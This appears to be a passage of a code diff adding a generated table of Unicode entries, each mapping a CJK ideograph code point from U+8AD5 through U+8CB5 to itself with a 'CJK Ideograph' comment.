+ ["\u8AD5", "\u8AD5"], /* CJK Ideograph */
+ ["\u8AD6", "\u8AD6"], /* CJK Ideograph */
+ ["\u8AD7", "\u8AD7"], /* CJK Ideograph */
+ ["\u8AD8", "\u8AD8"], /* CJK Ideograph */
+ ["\u8AD9", "\u8AD9"], /* CJK Ideograph */
+ ["\u8ADA", "\u8ADA"], /* CJK Ideograph */
+ ["\u8ADB", "\u8ADB"], /* CJK Ideograph */
+ ["\u8ADC", "\u8ADC"], /* CJK Ideograph */
+ ["\u8ADD", "\u8ADD"], /* CJK Ideograph */
+ ["\u8ADE", "\u8ADE"], /* CJK Ideograph */
+ ["\u8ADF", "\u8ADF"], /* CJK Ideograph */
+ ["\u8AE0", "\u8AE0"], /* CJK Ideograph */
+ ["\u8AE1", "\u8AE1"], /* CJK Ideograph */
+ ["\u8AE2", "\u8AE2"], /* CJK Ideograph */
+ ["\u8AE3", "\u8AE3"], /* CJK Ideograph */
+ ["\u8AE4", "\u8AE4"], /* CJK Ideograph */
+ ["\u8AE5", "\u8AE5"], /* CJK Ideograph */
+ ["\u8AE6", "\u8AE6"], /* CJK Ideograph */
+ ["\u8AE7", "\u8AE7"], /* CJK Ideograph */
+ ["\u8AE8", "\u8AE8"], /* CJK Ideograph */
+ ["\u8AE9", "\u8AE9"], /* CJK Ideograph */
+ ["\u8AEA", "\u8AEA"], /* CJK Ideograph */
+ ["\u8AEB", "\u8AEB"], /* CJK Ideograph */
+ ["\u8AEC", "\u8AEC"], /* CJK Ideograph */
+ ["\u8AED", "\u8AED"], /* CJK Ideograph */
+ ["\u8AEE", "\u8AEE"], /* CJK Ideograph */
+ ["\u8AEF", "\u8AEF"], /* CJK Ideograph */
+ ["\u8AF0", "\u8AF0"], /* CJK Ideograph */
+ ["\u8AF1", "\u8AF1"], /* CJK Ideograph */
+ ["\u8AF2", "\u8AF2"], /* CJK Ideograph */
+ ["\u8AF3", "\u8AF3"], /* CJK Ideograph */
+ ["\u8AF4", "\u8AF4"], /* CJK Ideograph */
+ ["\u8AF5", "\u8AF5"], /* CJK Ideograph */
+ ["\u8AF6", "\u8AF6"], /* CJK Ideograph */
+ ["\u8AF7", "\u8AF7"], /* CJK Ideograph */
+ ["\u8AF8", "\u8AF8"], /* CJK Ideograph */
+ ["\u8AF9", "\u8AF9"], /* CJK Ideograph */
+ ["\u8AFA", "\u8AFA"], /* CJK Ideograph */
+ ["\u8AFB", "\u8AFB"], /* CJK Ideograph */
+ ["\u8AFC", "\u8AFC"], /* CJK Ideograph */
+ ["\u8AFD", "\u8AFD"], /* CJK Ideograph */
+ ["\u8AFE", "\u8AFE"], /* CJK Ideograph */
+ ["\u8AFF", "\u8AFF"], /* CJK Ideograph */
+ ["\u8B00", "\u8B00"], /* CJK Ideograph */
+ ["\u8B01", "\u8B01"], /* CJK Ideograph */
+ ["\u8B02", "\u8B02"], /* CJK Ideograph */
+ ["\u8B03", "\u8B03"], /* CJK Ideograph */
+ ["\u8B04", "\u8B04"], /* CJK Ideograph */
+ ["\u8B05", "\u8B05"], /* CJK Ideograph */
+ ["\u8B06", "\u8B06"], /* CJK Ideograph */
+ ["\u8B07", "\u8B07"], /* CJK Ideograph */
+ ["\u8B08", "\u8B08"], /* CJK Ideograph */
+ ["\u8B09", "\u8B09"], /* CJK Ideograph */
+ ["\u8B0A", "\u8B0A"], /* CJK Ideograph */
+ ["\u8B0B", "\u8B0B"], /* CJK Ideograph */
+ ["\u8B0C", "\u8B0C"], /* CJK Ideograph */
+ ["\u8B0D", "\u8B0D"], /* CJK Ideograph */
+ ["\u8B0E", "\u8B0E"], /* CJK Ideograph */
+ ["\u8B0F", "\u8B0F"], /* CJK Ideograph */
+ ["\u8B10", "\u8B10"], /* CJK Ideograph */
+ ["\u8B11", "\u8B11"], /* CJK Ideograph */
+ ["\u8B12", "\u8B12"], /* CJK Ideograph */
+ ["\u8B13", "\u8B13"], /* CJK Ideograph */
+ ["\u8B14", "\u8B14"], /* CJK Ideograph */
+ ["\u8B15", "\u8B15"], /* CJK Ideograph */
+ ["\u8B16", "\u8B16"], /* CJK Ideograph */
+ ["\u8B17", "\u8B17"], /* CJK Ideograph */
+ ["\u8B18", "\u8B18"], /* CJK Ideograph */
+ ["\u8B19", "\u8B19"], /* CJK Ideograph */
+ ["\u8B1A", "\u8B1A"], /* CJK Ideograph */
+ ["\u8B1B", "\u8B1B"], /* CJK Ideograph */
+ ["\u8B1C", "\u8B1C"], /* CJK Ideograph */
+ ["\u8B1D", "\u8B1D"], /* CJK Ideograph */
+ ["\u8B1E", "\u8B1E"], /* CJK Ideograph */
+ ["\u8B1F", "\u8B1F"], /* CJK Ideograph */
+ ["\u8B20", "\u8B20"], /* CJK Ideograph */
+ ["\u8B21", "\u8B21"], /* CJK Ideograph */
+ ["\u8B22", "\u8B22"], /* CJK Ideograph */
+ ["\u8B23", "\u8B23"], /* CJK Ideograph */
+ ["\u8B24", "\u8B24"], /* CJK Ideograph */
+ ["\u8B25", "\u8B25"], /* CJK Ideograph */
+ ["\u8B26", "\u8B26"], /* CJK Ideograph */
+ ["\u8B27", "\u8B27"], /* CJK Ideograph */
+ ["\u8B28", "\u8B28"], /* CJK Ideograph */
+ ["\u8B29", "\u8B29"], /* CJK Ideograph */
+ ["\u8B2A", "\u8B2A"], /* CJK Ideograph */
+ ["\u8B2B", "\u8B2B"], /* CJK Ideograph */
+ ["\u8B2C", "\u8B2C"], /* CJK Ideograph */
+ ["\u8B2D", "\u8B2D"], /* CJK Ideograph */
+ ["\u8B2E", "\u8B2E"], /* CJK Ideograph */
+ ["\u8B2F", "\u8B2F"], /* CJK Ideograph */
+ ["\u8B30", "\u8B30"], /* CJK Ideograph */
+ ["\u8B31", "\u8B31"], /* CJK Ideograph */
+ ["\u8B32", "\u8B32"], /* CJK Ideograph */
+ ["\u8B33", "\u8B33"], /* CJK Ideograph */
+ ["\u8B34", "\u8B34"], /* CJK Ideograph */
+ ["\u8B35", "\u8B35"], /* CJK Ideograph */
+ ["\u8B36", "\u8B36"], /* CJK Ideograph */
+ ["\u8B37", "\u8B37"], /* CJK Ideograph */
+ ["\u8B38", "\u8B38"], /* CJK Ideograph */
+ ["\u8B39", "\u8B39"], /* CJK Ideograph */
+ ["\u8B3A", "\u8B3A"], /* CJK Ideograph */
+ ["\u8B3B", "\u8B3B"], /* CJK Ideograph */
+ ["\u8B3C", "\u8B3C"], /* CJK Ideograph */
+ ["\u8B3D", "\u8B3D"], /* CJK Ideograph */
+ ["\u8B3E", "\u8B3E"], /* CJK Ideograph */
+ ["\u8B3F", "\u8B3F"], /* CJK Ideograph */
+ ["\u8B40", "\u8B40"], /* CJK Ideograph */
+ ["\u8B41", "\u8B41"], /* CJK Ideograph */
+ ["\u8B42", "\u8B42"], /* CJK Ideograph */
+ ["\u8B43", "\u8B43"], /* CJK Ideograph */
+ ["\u8B44", "\u8B44"], /* CJK Ideograph */
+ ["\u8B45", "\u8B45"], /* CJK Ideograph */
+ ["\u8B46", "\u8B46"], /* CJK Ideograph */
+ ["\u8B47", "\u8B47"], /* CJK Ideograph */
+ ["\u8B48", "\u8B48"], /* CJK Ideograph */
+ ["\u8B49", "\u8B49"], /* CJK Ideograph */
+ ["\u8B4A", "\u8B4A"], /* CJK Ideograph */
+ ["\u8B4B", "\u8B4B"], /* CJK Ideograph */
+ ["\u8B4C", "\u8B4C"], /* CJK Ideograph */
+ ["\u8B4D", "\u8B4D"], /* CJK Ideograph */
+ ["\u8B4E", "\u8B4E"], /* CJK Ideograph */
+ ["\u8B4F", "\u8B4F"], /* CJK Ideograph */
+ ["\u8B50", "\u8B50"], /* CJK Ideograph */
+ ["\u8B51", "\u8B51"], /* CJK Ideograph */
+ ["\u8B52", "\u8B52"], /* CJK Ideograph */
+ ["\u8B53", "\u8B53"], /* CJK Ideograph */
+ ["\u8B54", "\u8B54"], /* CJK Ideograph */
+ ["\u8B55", "\u8B55"], /* CJK Ideograph */
+ ["\u8B56", "\u8B56"], /* CJK Ideograph */
+ ["\u8B57", "\u8B57"], /* CJK Ideograph */
+ ["\u8B58", "\u8B58"], /* CJK Ideograph */
+ ["\u8B59", "\u8B59"], /* CJK Ideograph */
+ ["\u8B5A", "\u8B5A"], /* CJK Ideograph */
+ ["\u8B5B", "\u8B5B"], /* CJK Ideograph */
+ ["\u8B5C", "\u8B5C"], /* CJK Ideograph */
+ ["\u8B5D", "\u8B5D"], /* CJK Ideograph */
+ ["\u8B5E", "\u8B5E"], /* CJK Ideograph */
+ ["\u8B5F", "\u8B5F"], /* CJK Ideograph */
+ ["\u8B60", "\u8B60"], /* CJK Ideograph */
+ ["\u8B61", "\u8B61"], /* CJK Ideograph */
+ ["\u8B62", "\u8B62"], /* CJK Ideograph */
+ ["\u8B63", "\u8B63"], /* CJK Ideograph */
+ ["\u8B64", "\u8B64"], /* CJK Ideograph */
+ ["\u8B65", "\u8B65"], /* CJK Ideograph */
+ ["\u8B66", "\u8B66"], /* CJK Ideograph */
+ ["\u8B67", "\u8B67"], /* CJK Ideograph */
+ ["\u8B68", "\u8B68"], /* CJK Ideograph */
+ ["\u8B69", "\u8B69"], /* CJK Ideograph */
+ ["\u8B6A", "\u8B6A"], /* CJK Ideograph */
+ ["\u8B6B", "\u8B6B"], /* CJK Ideograph */
+ ["\u8B6C", "\u8B6C"], /* CJK Ideograph */
+ ["\u8B6D", "\u8B6D"], /* CJK Ideograph */
+ ["\u8B6E", "\u8B6E"], /* CJK Ideograph */
+ ["\u8B6F", "\u8B6F"], /* CJK Ideograph */
+ ["\u8B70", "\u8B70"], /* CJK Ideograph */
+ ["\u8B71", "\u8B71"], /* CJK Ideograph */
+ ["\u8B72", "\u8B72"], /* CJK Ideograph */
+ ["\u8B73", "\u8B73"], /* CJK Ideograph */
+ ["\u8B74", "\u8B74"], /* CJK Ideograph */
+ ["\u8B75", "\u8B75"], /* CJK Ideograph */
+ ["\u8B76", "\u8B76"], /* CJK Ideograph */
+ ["\u8B77", "\u8B77"], /* CJK Ideograph */
+ ["\u8B78", "\u8B78"], /* CJK Ideograph */
+ ["\u8B79", "\u8B79"], /* CJK Ideograph */
+ ["\u8B7A", "\u8B7A"], /* CJK Ideograph */
+ ["\u8B7B", "\u8B7B"], /* CJK Ideograph */
+ ["\u8B7C", "\u8B7C"], /* CJK Ideograph */
+ ["\u8B7D", "\u8B7D"], /* CJK Ideograph */
+ ["\u8B7E", "\u8B7E"], /* CJK Ideograph */
+ ["\u8B7F", "\u8B7F"], /* CJK Ideograph */
+ ["\u8B80", "\u8B80"], /* CJK Ideograph */
+ ["\u8B81", "\u8B81"], /* CJK Ideograph */
+ ["\u8B82", "\u8B82"], /* CJK Ideograph */
+ ["\u8B83", "\u8B83"], /* CJK Ideograph */
+ ["\u8B84", "\u8B84"], /* CJK Ideograph */
+ ["\u8B85", "\u8B85"], /* CJK Ideograph */
+ ["\u8B86", "\u8B86"], /* CJK Ideograph */
+ ["\u8B87", "\u8B87"], /* CJK Ideograph */
+ ["\u8B88", "\u8B88"], /* CJK Ideograph */
+ ["\u8B89", "\u8B89"], /* CJK Ideograph */
+ ["\u8B8A", "\u8B8A"], /* CJK Ideograph */
+ ["\u8B8B", "\u8B8B"], /* CJK Ideograph */
+ ["\u8B8C", "\u8B8C"], /* CJK Ideograph */
+ ["\u8B8D", "\u8B8D"], /* CJK Ideograph */
+ ["\u8B8E", "\u8B8E"], /* CJK Ideograph */
+ ["\u8B8F", "\u8B8F"], /* CJK Ideograph */
+ ["\u8B90", "\u8B90"], /* CJK Ideograph */
+ ["\u8B91", "\u8B91"], /* CJK Ideograph */
+ ["\u8B92", "\u8B92"], /* CJK Ideograph */
+ ["\u8B93", "\u8B93"], /* CJK Ideograph */
+ ["\u8B94", "\u8B94"], /* CJK Ideograph */
+ ["\u8B95", "\u8B95"], /* CJK Ideograph */
+ ["\u8B96", "\u8B96"], /* CJK Ideograph */
+ ["\u8B97", "\u8B97"], /* CJK Ideograph */
+ ["\u8B98", "\u8B98"], /* CJK Ideograph */
+ ["\u8B99", "\u8B99"], /* CJK Ideograph */
+ ["\u8B9A", "\u8B9A"], /* CJK Ideograph */
+ ["\u8B9B", "\u8B9B"], /* CJK Ideograph */
+ ["\u8B9C", "\u8B9C"], /* CJK Ideograph */
+ ["\u8B9D", "\u8B9D"], /* CJK Ideograph */
+ ["\u8B9E", "\u8B9E"], /* CJK Ideograph */
+ ["\u8B9F", "\u8B9F"], /* CJK Ideograph */
+ ["\u8BA0", "\u8BA0"], /* CJK Ideograph */
+ ["\u8BA1", "\u8BA1"], /* CJK Ideograph */
+ ["\u8BA2", "\u8BA2"], /* CJK Ideograph */
+ ["\u8BA3", "\u8BA3"], /* CJK Ideograph */
+ ["\u8BA4", "\u8BA4"], /* CJK Ideograph */
+ ["\u8BA5", "\u8BA5"], /* CJK Ideograph */
+ ["\u8BA6", "\u8BA6"], /* CJK Ideograph */
+ ["\u8BA7", "\u8BA7"], /* CJK Ideograph */
+ ["\u8BA8", "\u8BA8"], /* CJK Ideograph */
+ ["\u8BA9", "\u8BA9"], /* CJK Ideograph */
+ ["\u8BAA", "\u8BAA"], /* CJK Ideograph */
+ ["\u8BAB", "\u8BAB"], /* CJK Ideograph */
+ ["\u8BAC", "\u8BAC"], /* CJK Ideograph */
+ ["\u8BAD", "\u8BAD"], /* CJK Ideograph */
+ ["\u8BAE", "\u8BAE"], /* CJK Ideograph */
+ ["\u8BAF", "\u8BAF"], /* CJK Ideograph */
+ ["\u8BB0", "\u8BB0"], /* CJK Ideograph */
+ ["\u8BB1", "\u8BB1"], /* CJK Ideograph */
+ ["\u8BB2", "\u8BB2"], /* CJK Ideograph */
+ ["\u8BB3", "\u8BB3"], /* CJK Ideograph */
+ ["\u8BB4", "\u8BB4"], /* CJK Ideograph */
+ ["\u8BB5", "\u8BB5"], /* CJK Ideograph */
+ ["\u8BB6", "\u8BB6"], /* CJK Ideograph */
+ ["\u8BB7", "\u8BB7"], /* CJK Ideograph */
+ ["\u8BB8", "\u8BB8"], /* CJK Ideograph */
+ ["\u8BB9", "\u8BB9"], /* CJK Ideograph */
+ ["\u8BBA", "\u8BBA"], /* CJK Ideograph */
+ ["\u8BBB", "\u8BBB"], /* CJK Ideograph */
+ ["\u8BBC", "\u8BBC"], /* CJK Ideograph */
+ ["\u8BBD", "\u8BBD"], /* CJK Ideograph */
+ ["\u8BBE", "\u8BBE"], /* CJK Ideograph */
+ ["\u8BBF", "\u8BBF"], /* CJK Ideograph */
+ ["\u8BC0", "\u8BC0"], /* CJK Ideograph */
+ ["\u8BC1", "\u8BC1"], /* CJK Ideograph */
+ ["\u8BC2", "\u8BC2"], /* CJK Ideograph */
+ ["\u8BC3", "\u8BC3"], /* CJK Ideograph */
+ ["\u8BC4", "\u8BC4"], /* CJK Ideograph */
+ ["\u8BC5", "\u8BC5"], /* CJK Ideograph */
+ ["\u8BC6", "\u8BC6"], /* CJK Ideograph */
+ ["\u8BC7", "\u8BC7"], /* CJK Ideograph */
+ ["\u8BC8", "\u8BC8"], /* CJK Ideograph */
+ ["\u8BC9", "\u8BC9"], /* CJK Ideograph */
+ ["\u8BCA", "\u8BCA"], /* CJK Ideograph */
+ ["\u8BCB", "\u8BCB"], /* CJK Ideograph */
+ ["\u8BCC", "\u8BCC"], /* CJK Ideograph */
+ ["\u8BCD", "\u8BCD"], /* CJK Ideograph */
+ ["\u8BCE", "\u8BCE"], /* CJK Ideograph */
+ ["\u8BCF", "\u8BCF"], /* CJK Ideograph */
+ ["\u8BD0", "\u8BD0"], /* CJK Ideograph */
+ ["\u8BD1", "\u8BD1"], /* CJK Ideograph */
+ ["\u8BD2", "\u8BD2"], /* CJK Ideograph */
+ ["\u8BD3", "\u8BD3"], /* CJK Ideograph */
+ ["\u8BD4", "\u8BD4"], /* CJK Ideograph */
+ ["\u8BD5", "\u8BD5"], /* CJK Ideograph */
+ ["\u8BD6", "\u8BD6"], /* CJK Ideograph */
+ ["\u8BD7", "\u8BD7"], /* CJK Ideograph */
+ ["\u8BD8", "\u8BD8"], /* CJK Ideograph */
+ ["\u8BD9", "\u8BD9"], /* CJK Ideograph */
+ ["\u8BDA", "\u8BDA"], /* CJK Ideograph */
+ ["\u8BDB", "\u8BDB"], /* CJK Ideograph */
+ ["\u8BDC", "\u8BDC"], /* CJK Ideograph */
+ ["\u8BDD", "\u8BDD"], /* CJK Ideograph */
+ ["\u8BDE", "\u8BDE"], /* CJK Ideograph */
+ ["\u8BDF", "\u8BDF"], /* CJK Ideograph */
+ ["\u8BE0", "\u8BE0"], /* CJK Ideograph */
+ ["\u8BE1", "\u8BE1"], /* CJK Ideograph */
+ ["\u8BE2", "\u8BE2"], /* CJK Ideograph */
+ ["\u8BE3", "\u8BE3"], /* CJK Ideograph */
+ ["\u8BE4", "\u8BE4"], /* CJK Ideograph */
+ ["\u8BE5", "\u8BE5"], /* CJK Ideograph */
+ ["\u8BE6", "\u8BE6"], /* CJK Ideograph */
+ ["\u8BE7", "\u8BE7"], /* CJK Ideograph */
+ ["\u8BE8", "\u8BE8"], /* CJK Ideograph */
+ ["\u8BE9", "\u8BE9"], /* CJK Ideograph */
+ ["\u8BEA", "\u8BEA"], /* CJK Ideograph */
+ ["\u8BEB", "\u8BEB"], /* CJK Ideograph */
+ ["\u8BEC", "\u8BEC"], /* CJK Ideograph */
+ ["\u8BED", "\u8BED"], /* CJK Ideograph */
+ ["\u8BEE", "\u8BEE"], /* CJK Ideograph */
+ ["\u8BEF", "\u8BEF"], /* CJK Ideograph */
+ ["\u8BF0", "\u8BF0"], /* CJK Ideograph */
+ ["\u8BF1", "\u8BF1"], /* CJK Ideograph */
+ ["\u8BF2", "\u8BF2"], /* CJK Ideograph */
+ ["\u8BF3", "\u8BF3"], /* CJK Ideograph */
+ ["\u8BF4", "\u8BF4"], /* CJK Ideograph */
+ ["\u8BF5", "\u8BF5"], /* CJK Ideograph */
+ ["\u8BF6", "\u8BF6"], /* CJK Ideograph */
+ ["\u8BF7", "\u8BF7"], /* CJK Ideograph */
+ ["\u8BF8", "\u8BF8"], /* CJK Ideograph */
+ ["\u8BF9", "\u8BF9"], /* CJK Ideograph */
+ ["\u8BFA", "\u8BFA"], /* CJK Ideograph */
+ ["\u8BFB", "\u8BFB"], /* CJK Ideograph */
+ ["\u8BFC", "\u8BFC"], /* CJK Ideograph */
+ ["\u8BFD", "\u8BFD"], /* CJK Ideograph */
+ ["\u8BFE", "\u8BFE"], /* CJK Ideograph */
+ ["\u8BFF", "\u8BFF"], /* CJK Ideograph */
+ ["\u8C00", "\u8C00"], /* CJK Ideograph */
+ ["\u8C01", "\u8C01"], /* CJK Ideograph */
+ ["\u8C02", "\u8C02"], /* CJK Ideograph */
+ ["\u8C03", "\u8C03"], /* CJK Ideograph */
+ ["\u8C04", "\u8C04"], /* CJK Ideograph */
+ ["\u8C05", "\u8C05"], /* CJK Ideograph */
+ ["\u8C06", "\u8C06"], /* CJK Ideograph */
+ ["\u8C07", "\u8C07"], /* CJK Ideograph */
+ ["\u8C08", "\u8C08"], /* CJK Ideograph */
+ ["\u8C09", "\u8C09"], /* CJK Ideograph */
+ ["\u8C0A", "\u8C0A"], /* CJK Ideograph */
+ ["\u8C0B", "\u8C0B"], /* CJK Ideograph */
+ ["\u8C0C", "\u8C0C"], /* CJK Ideograph */
+ ["\u8C0D", "\u8C0D"], /* CJK Ideograph */
+ ["\u8C0E", "\u8C0E"], /* CJK Ideograph */
+ ["\u8C0F", "\u8C0F"], /* CJK Ideograph */
+ ["\u8C10", "\u8C10"], /* CJK Ideograph */
+ ["\u8C11", "\u8C11"], /* CJK Ideograph */
+ ["\u8C12", "\u8C12"], /* CJK Ideograph */
+ ["\u8C13", "\u8C13"], /* CJK Ideograph */
+ ["\u8C14", "\u8C14"], /* CJK Ideograph */
+ ["\u8C15", "\u8C15"], /* CJK Ideograph */
+ ["\u8C16", "\u8C16"], /* CJK Ideograph */
+ ["\u8C17", "\u8C17"], /* CJK Ideograph */
+ ["\u8C18", "\u8C18"], /* CJK Ideograph */
+ ["\u8C19", "\u8C19"], /* CJK Ideograph */
+ ["\u8C1A", "\u8C1A"], /* CJK Ideograph */
+ ["\u8C1B", "\u8C1B"], /* CJK Ideograph */
+ ["\u8C1C", "\u8C1C"], /* CJK Ideograph */
+ ["\u8C1D", "\u8C1D"], /* CJK Ideograph */
+ ["\u8C1E", "\u8C1E"], /* CJK Ideograph */
+ ["\u8C1F", "\u8C1F"], /* CJK Ideograph */
+ ["\u8C20", "\u8C20"], /* CJK Ideograph */
+ ["\u8C21", "\u8C21"], /* CJK Ideograph */
+ ["\u8C22", "\u8C22"], /* CJK Ideograph */
+ ["\u8C23", "\u8C23"], /* CJK Ideograph */
+ ["\u8C24", "\u8C24"], /* CJK Ideograph */
+ ["\u8C25", "\u8C25"], /* CJK Ideograph */
+ ["\u8C26", "\u8C26"], /* CJK Ideograph */
+ ["\u8C27", "\u8C27"], /* CJK Ideograph */
+ ["\u8C28", "\u8C28"], /* CJK Ideograph */
+ ["\u8C29", "\u8C29"], /* CJK Ideograph */
+ ["\u8C2A", "\u8C2A"], /* CJK Ideograph */
+ ["\u8C2B", "\u8C2B"], /* CJK Ideograph */
+ ["\u8C2C", "\u8C2C"], /* CJK Ideograph */
+ ["\u8C2D", "\u8C2D"], /* CJK Ideograph */
+ ["\u8C2E", "\u8C2E"], /* CJK Ideograph */
+ ["\u8C2F", "\u8C2F"], /* CJK Ideograph */
+ ["\u8C30", "\u8C30"], /* CJK Ideograph */
+ ["\u8C31", "\u8C31"], /* CJK Ideograph */
+ ["\u8C32", "\u8C32"], /* CJK Ideograph */
+ ["\u8C33", "\u8C33"], /* CJK Ideograph */
+ ["\u8C34", "\u8C34"], /* CJK Ideograph */
+ ["\u8C35", "\u8C35"], /* CJK Ideograph */
+ ["\u8C36", "\u8C36"], /* CJK Ideograph */
+ ["\u8C37", "\u8C37"], /* CJK Ideograph */
+ ["\u8C38", "\u8C38"], /* CJK Ideograph */
+ ["\u8C39", "\u8C39"], /* CJK Ideograph */
+ ["\u8C3A", "\u8C3A"], /* CJK Ideograph */
+ ["\u8C3B", "\u8C3B"], /* CJK Ideograph */
+ ["\u8C3C", "\u8C3C"], /* CJK Ideograph */
+ ["\u8C3D", "\u8C3D"], /* CJK Ideograph */
+ ["\u8C3E", "\u8C3E"], /* CJK Ideograph */
+ ["\u8C3F", "\u8C3F"], /* CJK Ideograph */
+ ["\u8C40", "\u8C40"], /* CJK Ideograph */
+ ["\u8C41", "\u8C41"], /* CJK Ideograph */
+ ["\u8C42", "\u8C42"], /* CJK Ideograph */
+ ["\u8C43", "\u8C43"], /* CJK Ideograph */
+ ["\u8C44", "\u8C44"], /* CJK Ideograph */
+ ["\u8C45", "\u8C45"], /* CJK Ideograph */
+ ["\u8C46", "\u8C46"], /* CJK Ideograph */
+ ["\u8C47", "\u8C47"], /* CJK Ideograph */
+ ["\u8C48", "\u8C48"], /* CJK Ideograph */
+ ["\u8C49", "\u8C49"], /* CJK Ideograph */
+ ["\u8C4A", "\u8C4A"], /* CJK Ideograph */
+ ["\u8C4B", "\u8C4B"], /* CJK Ideograph */
+ ["\u8C4C", "\u8C4C"], /* CJK Ideograph */
+ ["\u8C4D", "\u8C4D"], /* CJK Ideograph */
+ ["\u8C4E", "\u8C4E"], /* CJK Ideograph */
+ ["\u8C4F", "\u8C4F"], /* CJK Ideograph */
+ ["\u8C50", "\u8C50"], /* CJK Ideograph */
+ ["\u8C51", "\u8C51"], /* CJK Ideograph */
+ ["\u8C52", "\u8C52"], /* CJK Ideograph */
+ ["\u8C53", "\u8C53"], /* CJK Ideograph */
+ ["\u8C54", "\u8C54"], /* CJK Ideograph */
+ ["\u8C55", "\u8C55"], /* CJK Ideograph */
+ ["\u8C56", "\u8C56"], /* CJK Ideograph */
+ ["\u8C57", "\u8C57"], /* CJK Ideograph */
+ ["\u8C58", "\u8C58"], /* CJK Ideograph */
+ ["\u8C59", "\u8C59"], /* CJK Ideograph */
+ ["\u8C5A", "\u8C5A"], /* CJK Ideograph */
+ ["\u8C5B", "\u8C5B"], /* CJK Ideograph */
+ ["\u8C5C", "\u8C5C"], /* CJK Ideograph */
+ ["\u8C5D", "\u8C5D"], /* CJK Ideograph */
+ ["\u8C5E", "\u8C5E"], /* CJK Ideograph */
+ ["\u8C5F", "\u8C5F"], /* CJK Ideograph */
+ ["\u8C60", "\u8C60"], /* CJK Ideograph */
+ ["\u8C61", "\u8C61"], /* CJK Ideograph */
+ ["\u8C62", "\u8C62"], /* CJK Ideograph */
+ ["\u8C63", "\u8C63"], /* CJK Ideograph */
+ ["\u8C64", "\u8C64"], /* CJK Ideograph */
+ ["\u8C65", "\u8C65"], /* CJK Ideograph */
+ ["\u8C66", "\u8C66"], /* CJK Ideograph */
+ ["\u8C67", "\u8C67"], /* CJK Ideograph */
+ ["\u8C68", "\u8C68"], /* CJK Ideograph */
+ ["\u8C69", "\u8C69"], /* CJK Ideograph */
+ ["\u8C6A", "\u8C6A"], /* CJK Ideograph */
+ ["\u8C6B", "\u8C6B"], /* CJK Ideograph */
+ ["\u8C6C", "\u8C6C"], /* CJK Ideograph */
+ ["\u8C6D", "\u8C6D"], /* CJK Ideograph */
+ ["\u8C6E", "\u8C6E"], /* CJK Ideograph */
+ ["\u8C6F", "\u8C6F"], /* CJK Ideograph */
+ ["\u8C70", "\u8C70"], /* CJK Ideograph */
+ ["\u8C71", "\u8C71"], /* CJK Ideograph */
+ ["\u8C72", "\u8C72"], /* CJK Ideograph */
+ ["\u8C73", "\u8C73"], /* CJK Ideograph */
+ ["\u8C74", "\u8C74"], /* CJK Ideograph */
+ ["\u8C75", "\u8C75"], /* CJK Ideograph */
+ ["\u8C76", "\u8C76"], /* CJK Ideograph */
+ ["\u8C77", "\u8C77"], /* CJK Ideograph */
+ ["\u8C78", "\u8C78"], /* CJK Ideograph */
+ ["\u8C79", "\u8C79"], /* CJK Ideograph */
+ ["\u8C7A", "\u8C7A"], /* CJK Ideograph */
+ ["\u8C7B", "\u8C7B"], /* CJK Ideograph */
+ ["\u8C7C", "\u8C7C"], /* CJK Ideograph */
+ ["\u8C7D", "\u8C7D"], /* CJK Ideograph */
+ ["\u8C7E", "\u8C7E"], /* CJK Ideograph */
+ ["\u8C7F", "\u8C7F"], /* CJK Ideograph */
+ ["\u8C80", "\u8C80"], /* CJK Ideograph */
+ ["\u8C81", "\u8C81"], /* CJK Ideograph */
+ ["\u8C82", "\u8C82"], /* CJK Ideograph */
+ ["\u8C83", "\u8C83"], /* CJK Ideograph */
+ ["\u8C84", "\u8C84"], /* CJK Ideograph */
+ ["\u8C85", "\u8C85"], /* CJK Ideograph */
+ ["\u8C86", "\u8C86"], /* CJK Ideograph */
+ ["\u8C87", "\u8C87"], /* CJK Ideograph */
+ ["\u8C88", "\u8C88"], /* CJK Ideograph */
+ ["\u8C89", "\u8C89"], /* CJK Ideograph */
+ ["\u8C8A", "\u8C8A"], /* CJK Ideograph */
+ ["\u8C8B", "\u8C8B"], /* CJK Ideograph */
+ ["\u8C8C", "\u8C8C"], /* CJK Ideograph */
+ ["\u8C8D", "\u8C8D"], /* CJK Ideograph */
+ ["\u8C8E", "\u8C8E"], /* CJK Ideograph */
+ ["\u8C8F", "\u8C8F"], /* CJK Ideograph */
+ ["\u8C90", "\u8C90"], /* CJK Ideograph */
+ ["\u8C91", "\u8C91"], /* CJK Ideograph */
+ ["\u8C92", "\u8C92"], /* CJK Ideograph */
+ ["\u8C93", "\u8C93"], /* CJK Ideograph */
+ ["\u8C94", "\u8C94"], /* CJK Ideograph */
+ ["\u8C95", "\u8C95"], /* CJK Ideograph */
+ ["\u8C96", "\u8C96"], /* CJK Ideograph */
+ ["\u8C97", "\u8C97"], /* CJK Ideograph */
+ ["\u8C98", "\u8C98"], /* CJK Ideograph */
+ ["\u8C99", "\u8C99"], /* CJK Ideograph */
+ ["\u8C9A", "\u8C9A"], /* CJK Ideograph */
+ ["\u8C9B", "\u8C9B"], /* CJK Ideograph */
+ ["\u8C9C", "\u8C9C"], /* CJK Ideograph */
+ ["\u8C9D", "\u8C9D"], /* CJK Ideograph */
+ ["\u8C9E", "\u8C9E"], /* CJK Ideograph */
+ ["\u8C9F", "\u8C9F"], /* CJK Ideograph */
+ ["\u8CA0", "\u8CA0"], /* CJK Ideograph */
+ ["\u8CA1", "\u8CA1"], /* CJK Ideograph */
+ ["\u8CA2", "\u8CA2"], /* CJK Ideograph */
+ ["\u8CA3", "\u8CA3"], /* CJK Ideograph */
+ ["\u8CA4", "\u8CA4"], /* CJK Ideograph */
+ ["\u8CA5", "\u8CA5"], /* CJK Ideograph */
+ ["\u8CA6", "\u8CA6"], /* CJK Ideograph */
+ ["\u8CA7", "\u8CA7"], /* CJK Ideograph */
+ ["\u8CA8", "\u8CA8"], /* CJK Ideograph */
+ ["\u8CA9", "\u8CA9"], /* CJK Ideograph */
+ ["\u8CAA", "\u8CAA"], /* CJK Ideograph */
+ ["\u8CAB", "\u8CAB"], /* CJK Ideograph */
+ ["\u8CAC", "\u8CAC"], /* CJK Ideograph */
+ ["\u8CAD", "\u8CAD"], /* CJK Ideograph */
+ ["\u8CAE", "\u8CAE"], /* CJK Ideograph */
+ ["\u8CAF", "\u8CAF"], /* CJK Ideograph */
+ ["\u8CB0", "\u8CB0"], /* CJK Ideograph */
+ ["\u8CB1", "\u8CB1"], /* CJK Ideograph */
+ ["\u8CB2", "\u8CB2"], /* CJK Ideograph */
+ ["\u8CB3", "\u8CB3"], /* CJK Ideograph */
+ ["\u8CB4", "\u8CB4"], /* CJK Ideograph */
+ ["\u8CB5", "\u8CB5"], /* CJK Ideograph */
